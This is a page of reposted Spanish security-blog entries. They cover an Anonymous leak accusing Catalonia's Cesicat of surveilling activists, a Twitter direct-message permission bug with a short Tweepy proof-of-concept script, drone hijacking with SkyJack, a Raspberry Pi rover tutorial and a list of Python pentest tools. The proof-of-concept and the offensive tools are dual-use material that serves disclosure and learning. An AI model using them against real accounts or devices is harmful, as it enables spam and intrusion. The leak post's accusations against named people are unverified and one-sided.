Los documentos acreditan que los técnicos del Cesicat (formado por una docena de informáticos y antiguos hackers, y con un presupuesto que ronda el millón de euros anual) aparte de NO leer el capítulo de "inyeccion sql" el manual de "contramedidas de  parbulitos", invirtieron su tiempo en monitorizar la actividad en Twitter de activistas sobre temas como la cumbre del Banco Central Europeo, el aniversario del movimiento de los indignados, así como las campañas contra Bankia o contra el pago de peajes en las autopistas catalanas. En los informes se hicieron constar, además, nombres de abogados, periodistas y medios de comunicación tradicionalmente ligados al activismo social. En una ocasión, al menos, el Cesicat elaboró un perfil con datos personales y profesionales del fotoperiodista Jordi Borràs, que ha presentado una denuncia ante la Agencia de Protección de Datos.

 Según desvelan los papeles liberados por Anonymous, esta información se mandaba a los responsables del CESICAT (siglas de Centre de Seguretat de la Informació de Catalunya): su presidente, Carles Flamerich (actualmente destituido muy sutilmente), un cargo político de Convergència i Unió, y su director, Tomàs Roy, a quien la fiscalía antifraude ha denunciado por otorgar cargos públicos a dedo.

Hasta ahora, la crisis del Cesicat solo había generado revuelo en las redes sociales pero el pasado 5 de noviembre, Puig destituyó al director general de Telecomunicaciones y Sociedad de la Información, Carles Flamerich, pero Empresa y Ocupación lo desvinculó de la crisis en el Cesicat. “Se trata de una pérdida de confianza” sostenida durante meses, alegan las fuentes anteriormente citadas de Empresa y Ocupación.

El escándalo del Cesicat representa la subida de un peldaño más en el control ciudadano por parte del poder.

A día de hoy doy gracias, por que quede gente decente en este país como el ex-empleado de marras, y porque el Cesicat esté siendo investigado por la fiscalía del estado... y "vigilado"..... No olvidamos, No perdonamos, esperadnos!

                            Denuncia original desde Anonymous

"Desde Anonymous revelamos las actuaciones del CNI Catalán que tutela y coarta la libertad de expresión de los ciudadanos realizando actividades de control y seguimiento incluso a miembros del Parlamento Catalan o a periodistas y para entidades privadas, como La Caixa o Abertis.

En Reus (Tarragona) se encuentran las dependencias del embrión del futuro ente del espionaje catalán. El Centre de Seguretat de la Informació de Catalunya
- Cesicat, que nació en 2009, bajo la segunda legislatura de la era tripartita. Su principal objetivo es proteger a la Administración catalana de las
ciberamenazas, cuyas competencias están atribuidas exclusivamente al Ministerio de Defensa a través del Centro Criptológico Nacional-CCN, organismo que forma parte del CNI.

La institución de seguridad catalana está configurada como una fundación situandose La Caixa en el Patronato que realiza su gestión y cuyo presidente es
Carles Flamerich, director general de Telecomunicaciones y Sociedad de la Información de la Generalitat de Cataluña.

Ni el Estatuto catalán ni la Constitución otorgan dichas políticas de seguridad a las autonomías, siendo competencias exclusivas del Ministerio de Defensa,
según consta en la Estrategia Española de Seguridad, aprobada por el Consejo de Ministros del pasado 24 de junio de 2011.

El Cesicat, entre otras instituciones de la seguridad catalana, lo inspiró Miquel Sellarès, primer director de la policía autonómica catalana y responsable
del polémico informe que indicaba la ideología de los principales periodistas catalanes, cuando éste era secretario de comunicación bajo el primer Gobierno
'tripartito' de Pasqual Maragall.

El Cesicat gestiona una licitación plurianual de la Dirección General de Telecomunicaciones y Sociedad de la información por valor de € 3.156.969,19 para
la ejecución de los servicios determinados en el Plan Nacional de impulso de la Seguridad TIC, donde son muchas las voces que apuntan a una grave
malversación y a un proceso irregular en las adjudicaciones, Anonymous exigimos que se investigue la violación de derechos y la corrupción a la que nos
tiene acostumbrados la clase política catalana, que dispone de un cuerpo como la stasi exclusivamente a su servicio.

Los documentos que Anonymous revela al pueblo catalan demuestran que el ente actúa en Internet cuartando la libertad de expresión de ciudadanos,
pero además sin tener competencias investigan actividades y realizan bases de datos no sujetas a regulación por un organismo controlador como la Agencia
de Protección de Datos, una actividad que demuestra cómo el Gobierno de Mas y ERC no tienen el más mínimo respeto por la ciudadanía, ni por sus datos
personales ni por su vida como hemos visto lamentablemente en las últimas horas.

Somos Anonymous, No olvidamos, No perdonamos, Esperadnos!"


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

Vulnerabilidad en Twitter permite enviar mensajes directos sin permiso de los usuarios

El modelo de permisos de las aplicaciones de Twitter es bastante sencillo:


Es decir, si creamos una aplicación que tenga permisos sólo de lectura y escritura no debería acceder a los mensajes directos ¿verdad?

Pues no, Egor Homakov descubrió un bug en Twitter que permite a las aplicaciones enviar mensajes directos sin tener permisos específicos y sin que ni siquiera el usuario que tiene autorizada la aplicación se de cuenta.

Nosotros lo hemos comprobado mediante un cliente en Python con Tweepy. Fijaros que a priori esta aplicación no tiene permisos para enviar mensajes directos:


Pero sin embargo, si ejecutamos un script de prueba veremos el resultado confirmando la vulnerabilidad: #!/usr/bin/env pythonimport sysimport tweepyCONSUMER_KEY = 'xxxxxxxxxxxxxxxxxxxxx'CONSUMER_SECRET = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'ACCESS_KEY = 'xxxxxxxxx-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'ACCESS_SECRET = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)auth.set_access_token(ACCESS_KEY, ACCESS_SECRET)api = tweepy.API(auth)api.send_direct_message(screen_name= "hackplayers", text = "prueba")
Al parecer DaKnOb, otro investigador, comentó a Homakov que ya reportó a Twitter este supuesto bug, y que la compañía del pájaro le respondió alegando que era una característica de Twitter y que debería seguir como está... Pero ¿no es si no una oportunidad única para que las aplicaciones maliciosas puedan enviar spam y enlaces maliciosos?

Fuente:  Twitter vulnerability lets apps send DMs without user permission


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

miércoles, 11 de diciembre de 2013

Usuarios inutilizan sus propias Xbox One al seguir las instrucciones de un bulo en Internet

Hace poco se publicaron en un foro de 4chan instrucciones falsas para que la nueva consola Xbox One pueda cargar los juegos de la antigua 360. 

En el mensaje (ya eliminado) se adjuntaba la imagen de la izquierda y básicamente indicaba cómo poner la Xbox One en modo desarrollo mediante una secuencia que fue descubierta de forma independiente a principios de diciembre y compartida a través de un vídeo de YouTube.

Cualquier usuario que haya seguido estos pasos sin disponer de un ID real de desarrollador no podrá volver a arrancar la consola en modo normal y, por lo tanto, habrá convertido su flamante nueva consola en un bonito y caro "pisapapeles".

"Para ser claro, no hay manera de hacer que su Xbox One sea compatible y realizar los pasos para intentarlo podría hacer que la consola sea inoperable", escribió en un tweet Larry Hryb , director de programación de la red Xbox Live de Microsoft.

No está claro cuántas personas han seguido el falso consejo, pero es un claro ejemplo de lo dañino que puede llegar a ser un bulo (hoax o prank) en Internet...

Fuentes:
Xbox One backwards-compatibility prank breaking consoles 
Warning over 4Chan Xbox One prank
Xbox One: Gamers DESTROY their own consoles in cruel hacking prank


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

Cuarto aniversario de Hackplayers

Hoy 9 de diciembre cumplimos cuatro años y no queríamos dejar pasar la ocasión para agradeceros el seguir soportándonos ;)

Este año hemos superado los 10.000 seguidores en Twitter y hemos conseguido un meritorio séptimo puesto en los premios Bitácoras 2013 (llegando incluso a alcanzar un tercer puesto en las votaciones parciales), pero sobretodo hemos vuelto a disfrutar con la (in)seguridad informática y el hacking a veces ético con cosas tan alucinantes que son hasta difíciles de enumerar. 

Sirvan de ejemplo un supuesto malware capaz de enviar datos a través de sonidos inaudibles, un ataque DDoS contra Spamhaus que llegó a los 300 Gps, una cadena de caracteres en árabe que hacía fallar a las aplicaciones de iOS 6 y Mac OS X 10.8, drones que secuestran a otros drones, televisores LG que "espían" las costumbres de sus dueños, robos de grandes cantidades de Bitcoins y, quizás lo más importante y sonado, el escándalo del espionaje masivo de la NSA y algunos gobiernos afines...

Para el próximo año sólo esperamos que sea igual o más divertido y que podamos seguir compartiéndolo con todos vosotros. Nuestra asignatura pendiente: conseguir algún autor más que escriba regularmente en nuestro blog, ¿te animas?


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

Construye tu propio rover teledirigido con Raspberry Pi y WebIOPi

Para aprender cómo funciona la GPIO (General-purpose input/output) de Raspberry Pi he montado un pequeño rover motorizado que captura vídeo en tiempo real mediante una cámara USB y que puede ser controlado remotamente.

Quiero advertir que ya existen trabajos similares y productos prefabricados mejor acabados y seguramente con mayor rendimiento, pero si te interesara diseñar y hacer funcionar tu propio robot casero entonces te invito a que sigas leyendo :D

Eligiendo el hardware y conectando todo

La base es un viejo coche de control remoto por radiofrecuencia que compré hace años en un bazar chino. Sobre éste gira el proyecto: dos motores de corriente continua (DC) moviendo dos ejes para las ruedas de marcha adelante/atrás y dirección derecha/ izquierda:


Para mover los motores necesitamos un controlador H-Bridge o puente en H que no es más que un circuito electrónico que permite aplicar un voltaje a través de una carga en cualquier dirección, es decir, invertir la polaridad a nuestra elección para mover el motor en una dirección u otra. Además estos puentes en H permiten cortocircuitar para frenar en seco el motor o desconectar hasta su detención libre (free-run).

En este caso he elegido el módulo L298N, un controlador dual H-Bridge bastante popular y económico (4,35€) pero lo suficientemente potente como para impulsar motores de 5 a 35V y de hasta 2A. 

Además proporciona un regulador de 5V integrado que puede ser utilizado para alimentar otras partes de la circuitería del robot:

En la base del coche de control remoto encastamos los dos módulos. 

La Raspberry Pi es alimentada a través del conector micro USB con una batería SWPKPOWER SW-A22617 (6,20€) que ofrece una salida de 5V/800mA y una capacidad de 2600mAh y el controlador L298N recibe el suministro eléctrico mediante una pila de petaca Duracell de 9V alcalina (2,55€) con 565 mAh conectada al pin VCC y a GND. También es necesario conectar el pin 6 de la RPi a tierra.

Después conectamos los motores del coche a los pines de las salidas correspondientes: Motor A o izquierdo y Motor B o derecho e interconectamos los pines IN1, 2, 3 y 4 a las salidas digitales de la GPIO de la RPi (17, 27 y 10, 9 respectivamente).

El siguiente paso es puentear con jumpers los pines ENA y ENB a 5V para activar cada uno de los canales. 

Una opción interesante sería no usar los jumpers y conectar 2 pines de la GPIO de la Raspberry Pi a los pines ENA y ENB del controlador y configurarlos como PWM (modulación por ancho de pulsos) para regular el consumo y la velocidad de los motores. Si bien lo he descartado en este proyecto porque con los motores actuales al disminuir la cantidad de energía apenas podían arrancar y llevar la carga (mover el robot).

El esquema físico queda entonces de la siguiente manera:


Fijaros también que aprovecharemos los dos puertos USB para conectar un nano adaptador inalámbrico modelo RaLink RT5370 (6,75€) mediante el cual controlaremos nuestro rover y una webcam de 1,3M con micrófono integrado (6,20€) para el stream de video.

Si sumamos cables y la carcasa para la pila de petaca, el coste total aproximado del hardware utilizado ronda los 80€. El resultado final es este:
Configurando la red inalámbrica de nuestro robot

Damos un giro a la parte del software. El sistema operativo de la Raspberry Pi para este proyecto es Raspbian con un kernel 3.6:

pi@escorial ~ $ uname -aLinux escorial 3.6.11+ #538 PREEMPT Fri Aug 30 20:42:08 BST 2013 armv6l GNU/Linux
Lo primero que vamos a hacer es configurar la red inalámbrica para poder controlar nuestro rover remotamente por ssh. Para ello conectamos el dongle USB y comprobamos que se detecta correctamente:pi@escorial ~ $ lsusbBus 001 Device 002: ID 0424:9512 Standard Microsystems Corp.Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hubBus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp.Bus 001 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter[root@escorial ~]# lsusb -vs 001:004
Ahora, para conectarnos a nuestra red WiFi, tenemos que editar el fichero  wpa_supplicant.conf y configurar el SSID con la clave compartida correspondiente:pi@escorial ~ $ sudo vi /etc/wpa_supplicant/wpa_supplicant.confctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdevupdate_config=1network={        ssid="WLAN_AB"        psk="****************"}
Después paramos el interfaz inalámbrico y volvemos a levantarlo para recargar la configuración:pi@escorial ~ $ sudo wpa_action wlan0 stopwpa_action: ifdown wlan0Configuring interface wlan0=wlan0 (inet)run-parts --verbose /etc/network/if-down.drun-parts: executing /etc/network/if-down.d/upstartrun-parts: executing /etc/network/if-down.d/wpasupplicantrun-parts --verbose /etc/network/if-post-down.drun-parts: executing /etc/network/if-post-down.d/wireless-toolsrun-parts: executing /etc/network/if-post-down.d/wpasupplicantwpa_supplicant: terminating wpa_supplicant daemon via pidfile /var/run/wpa_supplicant.wlan0.pidStopped /sbin/wpa_supplicant (pid 1755).wpa_supplicant: removing /run/sendsigs.omit.d/wpasupplicant.wpa_supplicant.wlan0.pidwpa_action: removing sendsigs omission pidfile: /run/sendsigs.omit.d/wpasupplicant.wpa_supplicant.wlan0.pidpi@escorial ~ $ sudo ifup wlan0
A continuación comprobamos la conectividad:pi@escorial ~ $ sudo wpa_cli statusSelected interface 'wlan0'bssid=d0:71:33:21:d3:c6ssid=WLAN_ABid=0mode=stationpairwise_cipher=CCMPgroup_cipher=CCMPkey_mgmt=WPA2-PSKwpa_state=COMPLETEDip_address=192.168.1.39address=7c:de:70:42:6f:38do
Preparando el streaming de video

Para el streaming de vídeo con la webcam USB utilizamos MJPG-streamer, una aplicación que captura JPG de webcams compatibles con Linux-UVC, sistema de archivos u otros plugins de entrada y los distribuye como M-JPEG a través de HTTP para navegadores web, VLC y otros programas. Es el sucesor de uvc-streamer, una aplicación de streaming de Linux-UVC con Pan/Tilt.

La instalación sólo requiere unos sencillos pasos:

apt-get install libjpeg8-dev imagemagick subversioncd /usr/src/svn checkout svn://svn.code.sf.net/p/mjpg-streamer/code/ mjpg-streamer-codecd mjpg-streamer/mjpg-streamermake
Para probarlo ejecutamos el siguiente comando:pi@escorial /usr/src/mjpg-streamer-code/mjpg-streamer $ sudo ./mjpg_streamer -i "./input_uvc.so -y -n " -o "./output_http.so -n -w ./www"MJPG Streamer Version: svn rev: 3:172 i: Using V4L2 device.: /dev/video0 i: Desired Resolution: 640 x 480 i: Frames Per Second.: 5 i: Format............: YUV i: JPEG Quality......: 80 o: www-folder-path...: ./www/ o: HTTP TCP port.....: 8080 o: username:password.: disabled o: commands..........: disabled
Ahora configuramos un pequeño script para cuando queramos lanzar el stream de video en background:#!/bin/shPLUGINPATH=/usr/src/mjpg-streamer-code/mjpg-streamerSTREAMER=$PLUGINPATH/mjpg_streamerDEVICE=/dev/video0RESOLUTION=320x240FRAMERATE=25HTTP_PORT=8001# check for existing webcam deviceif [ ! -e "/dev/video0" ]; then  echo "stream.sh: Error - NO /dev/video0 device" 2>&1 | logger  exit 2fi#PLUGINPATH=/usr/local/lib$STREAMER -i "$PLUGINPATH/input_uvc.so -y -n -d $DEVICE -r $RESOLUTION -f $FRAMERATE" -o "$PLUGINPATH/output_http.so -n -p $HTTP_PORT" -b
Controlando la GPIO de Raspberry Pi con WebIOPI

Webiopi es un API escrita en Python para controlar, depurar y utilizar la GPIO de la RPi localmente o de forma remota, desde un navegador o desde cualquier aplicación. 

La utilizaremos porque nos permite ejecutar el proyecto muy rápidamente sin necesidad de tener demasiados conocimientos.

Sus características son:

- API REST a través de HTTP y COAP (draft-14) con soporte multicast
- Servidor escrito en Python con cero dependencias
- Soporta GPIO, Serial, I2C, SPI, 1-Wire con cero dependencias
- Soporta más de 30 dispositivos, incluyendo DAC, ADC, sensores ...
- Completa biblioteca de Python para el servidor, GPIO, I2C, SPI, conductores y dispositivos de serie
- Compatible con Python 2 y 3
- Extensible y altamente personalizable
- Incluye protección de Usuario / clave
- Compatible con dispositivos móviles
- Incluye las aplicaciones web de depuración
        . GPIO Header
        . Lista GPIO
        . Monitor Serial
        . Monitor Dispositivos
- Biblioteca cliente Javascript construida sobre jQuery
- Biblioteca cliente Python con HTTP y soporte CoAP

Para instalarlo sólo necesitaremos Python, ya sea la versión 2.7 o la 3.2. Simplemente hay que descargar y extraer el paquete. El script de instalación se encargará automáticamente de descargar e instalar las dependencias requeridas usando apt-get. 

Si no utilizas Raspbian es posible que tengas que instalar los encabezados de desarrollo de  GCC y Python.

$ wget http://webiopi.googlecode.com/files/WebIOPi-0.6.0.tar.gz$ tar xvzf WebIOPi-0.6.0.tar.gz$ cd WebIOPi-0.6.0$ sudo ./setup.sh
Ahora podemos llamar a webiopi directamente desde la línea de comandos:$ sudo webiopi [-h] [-c config] [-l log] [-s script] [-d] [port]    Options:      -h, --help           Display this help      -c, --config  file   Load config from file      -l, --log     file   Log to file      -s, --script  file   Load script from file      -d, --debug          Enable DEBUG    Arguments:      port                 Port to bind the HTTP Server
Sin embargo perderemos el servidor y el estado de la GPIO tan pronto como paremos el script (CTRL-C) o cerremos el terminal.

Por ello es necesario iniciar el servicio en background mediante:

$ sudo /etc/init.d/webiopi starty$ sudo /etc/init.d/webiopi stop
Si queremos que webiopi se inicie automáticamente cuando arranque de la RPi podemos utilizar el siguiente comando: $ sudo update-rc.d webiopi defaults
La base del código fuente se basa en dos artículos publicados en la revista MagPI (Cambot). Primero modificaremos su script en Python en /home/pi/cambot/cambot.py en el que definiremos el estado inicial de los pines de la GPIO y las macros que podrán ser llamadas externamente:#importsimport webiopi# Libreria GPIOGPIO = webiopi.GPIO# -------------------------------------------------- ## Definicion constantes                           ## -------------------------------------------------- ## GPIOs motor izquierdoL1=17  # H-Bridge 1L2=27 # H-Bridge 2# GPIOs motor derechoR1=10 # H-Bridge 3R2=9 # H-Bridge 4# -------------------------------------------------- ## Funciones motor izquierdo                          ## -------------------------------------------------- #def left_stop():    GPIO.output(L1, GPIO.LOW)    GPIO.output(L2, GPIO.LOW)    def left_forward():    GPIO.output(L1, GPIO.HIGH)    GPIO.output(L2, GPIO.LOW)    def left_backward():    GPIO.output(L1, GPIO.LOW)    GPIO.output(L2, GPIO.HIGH)# -------------------------------------------------- ## Funciones motor derecho                            ## -------------------------------------------------- #def right_stop():    GPIO.output(R1, GPIO.LOW)    GPIO.output(R2, GPIO.LOW)def right_forward():    GPIO.output(R1, GPIO.HIGH)    GPIO.output(R2, GPIO.LOW)def right_backward():    GPIO.output(R1, GPIO.LOW)    GPIO.output(R2, GPIO.HIGH)# -------------------------------------------------- ## Definicion macros                               ## -------------------------------------------------- #@webiopi.macrodef go_forward():    left_forward()@webiopi.macrodef go_backward():    left_backward()@webiopi.macrodef turn_left():    right_forward()@webiopi.macrodef turn_right():    right_backward()@webiopi.macro    def stop():    left_stop()    right_stop()    # -------------------------------------------------- ## Iniciacializacion                                  ## -------------------------------------------------- #def setup():# Instalacion GPIOs    GPIO.setFunction(L1, GPIO.OUT)    GPIO.setFunction(L2, GPIO.OUT)    GPIO.setFunction(R1, GPIO.OUT)    GPIO.setFunction(R2, GPIO.OUT)def destroy():    # Resetea las funciones GPIO    GPIO.setFunction(L1, GPIO.IN)    GPIO.setFunction(L2, GPIO.IN)    GPIO.setFunction(R1, GPIO.IN)    GPIO.setFunction(R2, GPIO.IN)
Como podéis ver en el código la configuración es sumamente sencilla. Se inicializan en OUT un par de pines para controlar cada motor y simplemente cambiando su estado (HIGH o LOW) es posible definir macros para cada movimiento.

Para que este script sea llamado al iniciar el servidor webiopi tendremos que especificarlo en el fichero de configuración /etc/webiopi/config. Para ello vamos al fichero config y especificamos la ruta en la sección de scripts:[SCRIPTS]# Load custom scripts syntax :# name = sourcefile#   each sourcefile may have setup, loop and destroy functions and macros#myscript = /home/pi/webiopi/examples/scripts/macros/script.pycambot = /home/pi/cambot/cambot.py
Y aprovechando en este mismo fichero revisaremos el document root y el fichero index e indicaremos que se utilicen las credenciales del fichero passwd:[HTTP]# HTTP Server configurationenabled = trueport = 8000# File containing sha256(base64("user:password"))# Use webiopi-passwd command to generate itpasswd-file = /etc/webiopi/passwd# Use doc-root to change default HTML and resource files location#doc-root = /home/pi/webiopi/examples/scripts/macrosdoc-root = /home/pi/cambot# Use welcome-file to change the default "Welcome" filewelcome-file = index.html
Para ello posteriormente generaremos el fichero passwd mediante el comando webiopi-passwd:$ sudo webiopi-passwdWebIOPi passwd file generatorEnter Login: webiopiEnter Password: Confirm password: Hash: e70c940a189251e9cd4515b3a1a6c6f02aa05c744a456ce360fe14bf2c5c0353Saved to /etc/webiopi/passwd
Una buena idea teniendo en cuenta que de esta manera no almacenaremos  en claro la contraseña de acceso…

Finalmente creamos el fichero index.html en el document root especificado con los controles correspondientes usando jQuery y todas las funciones de javascript para a llamar a las macros escritas en Python. Fijaros que también incrustaremos (IMG) el streaming de video: CamBot



 Y ya está. Sólo nos queda reiniciar el servidor webiopi para cargar la nueva configuración:$ sudo /etc/init.d/webiopi restart
¡A jugar!

Antes de empezar os animo a ver la aplicación GPIO Header que permite visualizar y controlar cada uno de los pines de la RPi. Para ello abrimos en el navegador la URL: 

http://raspberry:8000/app/gpio-header


Como podéis comprobar es posible cambiar el estado de cada pin sólo mediante un clic.

Ahora abriremos la url principal de nuestro frontal web:

http://raspberry:8000/ 


Y bueno, aquí os dejo un breve vídeo con el resultado:

Carencias, mejoras y próximos pasos

Como comentaba al principio quien decida basarse en esta entrada o similares para crear un rover de estas características tendrá que tener como objetivo principal el aprendizaje y no un rendimiento demasiado excelso.

Primero, las limitaciones de la webcam y del interfaz USB mediante el cual se conecta a la RPi harán que el streaming de vídeo denote un retardo que degradará en parte la experiencia del usuario. Si se quiere mejorar en este aspecto se tendría que pensar en la compra de la cámara por hardware que se conecta internamente y directa al procesador sin hacer uso de ningún chipset intermedio, utilizando el interfaz CSi dedicado que trae de serie. Con esto se mejorará ostensiblemente la tasa de fps (imágenes por segundo).

A parte del streaming de vídeo también se podría añadir al frontal web un botón para realizar una instantánea (a mayor resolución) y una opción para respaldar estas capturas (video y fotos) a algún servicio de almacenamiento en la nube tipo Dropbox.

Segundo, los motores del coche de radiocontrol reciclados son algo "vagos" y en cuanto la capacidad de las baterías disminuye sufren para mover la carga.
En este caso también podrían sustituirse y se podría modular por pulsos para controlar la velocidad del giro.

Si os dais cuenta en la protoboard delantera he realizado algunas conexiones para poner en serie la pila de 9V con las tres pilas AA (4,5V) que originalmente tenía el coche para ganar algo de potencia.

Por último, aunque eso ya será en otras entradas, tengo pendiente añadir más funcionalidades mediante sensores de ultrasonidos, detección de movimiento, leds, laser y reconocimiento por voz. 

Por supuesto, se admiten sugerencias... ;)


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

lunes, 9 de diciembre de 2013

SkyJack: un drone de bajo coste capaz de "secuestrar" a otros drones

Seguro que habéis leído y os ha llamado la atención una noticia reciente en la que se decía que Amazon estaba pensando utilizar drones para repartir paquetes pequeños a sus clientes. La perspectiva de un enjambre pequeño de aviones no tripulados plantea sin embargo una nueva gama de problemas de seguridad...

Samy Kamkar, creador del famoso gusano que noqueó a MySpace en 2005, ha creado un drone de bajo coste que es capaz de encontrar y secuestrar de forma inalámbrica otros drones. La plataforma del proyecto bautizado como SkyJack se compone de:

- Parrot AR.Drone 2: 289,00€
- Raspberry Pi: 38,95 €
- Batería USB (DigiPower 1100mAh: 16,90€)
- Adaptador inalámbrico Alfa AWUS036H: 27,99€  
- Adaptador inalámbrico Edimax EW-7811Un: 14,25€ 
- Software aircrack-ng, node-ar-drone, node.js y el código fuente de SkyJack (perl/js)

Básicamente lo que hace es ejecutar aircrack-ng para poner su tarjeta de red en modo monitor, detecta las redes y clientes cercanos, reconecta los clientes al Parrot y utiliza Node.js con node-ar-drone para controlar los drones (ciertos tipos, eso sí).

Es decir, por unos 400€ cualquiera podría tener un cuadricóptero capaz de interceptar y secuestrar otros drones para por ejemplo llevarse sus envíos y/o convertirles en drones zombies.

Interesante ¿verdad? http://samy.pl/skyjack/


View the original article here


This post was made using the Auto Blogging Software from WebMagnates.org This line will not appear when posts are made after activating the software to full version.

Recopilación de herramientas Python para pentesters

Si estás involucrado en la investigación de vulnerabilidades, ingeniería inversa o pruebas de intrusión, seguro que ya habrás utilizado Python porque cuenta con un rico conjunto de librerías y herramientas útiles para estos menesteres.

En la página de Dirk Loss podemos encontrar un gran recopilatorio de herramientas escritas en Python para penetration testers, algunas de ellas sólo enlaces a librerías C existentes, es decir, herramientas que hacen las librerías fácilmente utilizables desde programas de Python.

Sin embargo, por la difusa situación jurídica en Alemania no se incluyen algunas de las herramientas más agresivas (frameworks PenTest, smashers bluetooth, escáneres de vulnerabilidades de aplicaciones Web, war-dialers, etc.). Por ello y para tener una lista aún más completa, vamos a ir añadiendo todas las herramientas que vayamos encontrando. No dudes en comentar esta entrada si conoces alguna más y quieres que la añadamos a esta lista:
 


Dirtbags py-pcap: lee ficheros pcap sin libpcapdpkt: rápida y simple creación de paquetes y análisis, con las definiciones básicas de los protocolos TCP/IP  flowgrep: grep a través de payloads de paquetes utilizando expresiones regularesglastopf: honeypot que se basa en un pequeño servidor web que emula cientos de vulnerabilidades. Impacket: modifica y decodifica paquetes de red. Incluye soporte para los protocolos de más alto nivel, tales como NMB y SMB Knock Subdomain Scan:  enumera los subdominios de un dominio de destino a través de una lista de palabrasLANs.py: herramienta capaz de falsificar y envenenar la tabla de ARP de un objetivo individual. Es multihilo y asíncrono. libdnet: rutinas de red de bajo nivel, incluyendo la interfaz de búsqueda y transmisión de tramas Ethernet Mallory: proxy man-in-the-middle extensible TCP/UDP, soporta la modificación de protocolos no estandar al vuelopypcap, Pcapy y pylibpcap: varios enlaces Python para libpcap Pytbull: framework de pruebas de IDS/IPS muy flexible (incluye más de 300 tests)pynids: wrapper de libnids que incluye sniffing, IP defragmentation, reensamblado de streams TCP y detección de escaneos de puertosScapy: envia, rastrea y analiza y crea paquetes de red. Se puede usar de forma interactiva o como una librería

Androguard: ingeniería inversa y análisis de aplicaciones de Androidapk-jet: un wrap de apktool en python para automatizar y hacer más fácil la ingeniería inversa de apks AsmJit: sencillo wrapper en Python para AsmJit usando SWIG. AsmJit posee clases de generación de código de alto nivel que pueden utilizarse para crear código JITBeaEnginePython: bindings de BeaEngine en Python de Mario Vilas. Binwalk: es una herramienta de análisis firmware diseñada para ayudar en el análisis, la extracción y la ingeniería inversa de imágenes del firmware y otros blobs binarios. Es fácil de utilizar, completamente programable y se puede extender fácilmente a través de firmas personalizadas, reglas de extracción y módulos de plugin.bochs-python-instrumentation: Este parche para Bochs proporciona un intérprete de Python en lugar del propio depurador Bochs, proporcionando la funcionalidad del depurador. También permite interactuar con la interfaz de instrumentación bajo demanda, al asociar dinámicamente métodos de Python para manejar eventos de instrumentación.Buggery: wrapper python para DbgEng. ctypes: módulo de Python que permite crear y manipular tipos de datos de C en Python. Estos luego pueden pasar a funciones C cargadas desde librerías de vínculos dinámicos.Cuckoo: sistema sandbox de análisis de malware automatizado. Tiene un API para personalizar tanto el procesamiento como las etapas de presentación de informes. Darm: Un ligero y eficiente desensamblador escrito en C para el conjunto de instrucciones ARMv7Deviare: es una API para hooks diseñada para crear productos de usuario finalDiabind: Python binding de DIA (Debug Interface Access) SDKDislib: Librería python para leer ficheros PE+ diStorm:  biblioteca de desensamblador para AMD64, bajo licencia BSDIDAPython: plugin de IDA Pro que integra Python, permitiendo ejecutar scripts en IDA ProImmunity Debugger: GUI programable y debugger en linea de comandosPaimei: framework de ingeniería inversa, incluye PyDBG, PIDA, pGRAPHpefile: permite leer y trabajar con archivos Portable Executable (PE) pydasm: interfaz en Python para la librería libdasm de desensamblado x86PyDbgEng: wrapper en Python para el motor de depuración de Microsoft Windows PyEMU: emulador IA-32 completamente programable, útil para análisis de malwarepython-ptrace:depurador usando ptrace (Linux, BSD y Darwin system call para trazar procesos) escrito en Pythonmona.py: PyCommand para Immunity Debugger que reemplaza y mejora pvefindaddruhooker: intercepta llamadas a llamadas a la API dentro de DLLs , así como las direcciones arbitrarias en el archivo ejecutable en la memoriavdb / vtrace: API de depuración de procesos multi-plataforma implementado en python, y vdb es un depurador que lo utiliza

antiparser: fuzz testing y API de inyección de fallosConstruct: librería para parsear y construir estructuras de datos (binario o texto).   Forensic Fuzzing Tools: genera ficheros fuzzeados, sistemas de ficheros, y sistemas de ficheros con ficheros fuzzeados para probar la robustez de herramientas forenses y sistemas de análisis Fusil: librería en Python usada para escribir programas de fuzzing fuzzer.py (feliam): fuzzer sencillo de Felipe Andres Manzano Fuzzbox: multi-codec media fuzzerMistress: genera formatos de archivos al vuelo y protocolos con datos malformados, basados en patrones predefinidos Peach Fuzzing Platform: framework de fuzzing extensible para la generación y la mutación basada en fuzzing (la v2 fue escrita en Python) Powerfuzzer: fuzzer web altamente automatizado y totalmente personalizable (protocolo HTTP basado en fuzzer de aplicación)SMUDGE  Sulley: framework de desarrollo fuzzer y pruebas que consiste en varios componentes extensiblesTAOF: (el Arte del Fuzzing) incluye ProxyFuzz, un fuzzer man-in -the-middle de red no deterministauntidy: fuzzer XML de propósito generalWindows IPC Fuzzing Tools: herramientas para fuzzear aplicaciones que usan mecanimos Windows Interprocess CommunicationWSBang: ejecuta pruebas automáticas contra servicios web SOAP

FunkLoad: medidor de carga web funcionalGhost.py: cliente webkit escrito en Python HTTPie: cliente http similar a cURL pero más intuitivo. mitmproxy: proxy HTTP de interceptación con soporte SSL. Permite inspeccionar y editar tráfico al vuelo.  Requests: librería HTTP sencilla y elegante, hecha para seres humanosTwill: navega por Internet mediante un interface en línea de comandos. Soporta web testing automatizadopathod / pathoc: demonio/cliente para saturar clientes y servidores HTTPProxMon: procesa logs de proxy y crea informes con los resultadospython-spidermonkey: binding para el motor JavaScript de Mozilla SpiderMonkey; permite llamar y evaluar scripts y funciones JavascriptSelenium: API para escribir pruebas funcionales usando el WebDriver Selenium para acceso a Firefox, Ie, Chrome, Remote etc.  Splinter: herramienta para testear aplicaciones web usando Python que permite automatizar acciones del navegador como visitar URLs e interactuar con sus objetos. spynner: módulo de navegación web programable para Python con soporte Javascript/AJAXWSMap: encuentra servicios web y descubre ficherosWindmill: herramienta de pruebas creada para automatizar y depurar aplicaciones web
findmyhash:  script en Python para crackear hashes usando servicios online.
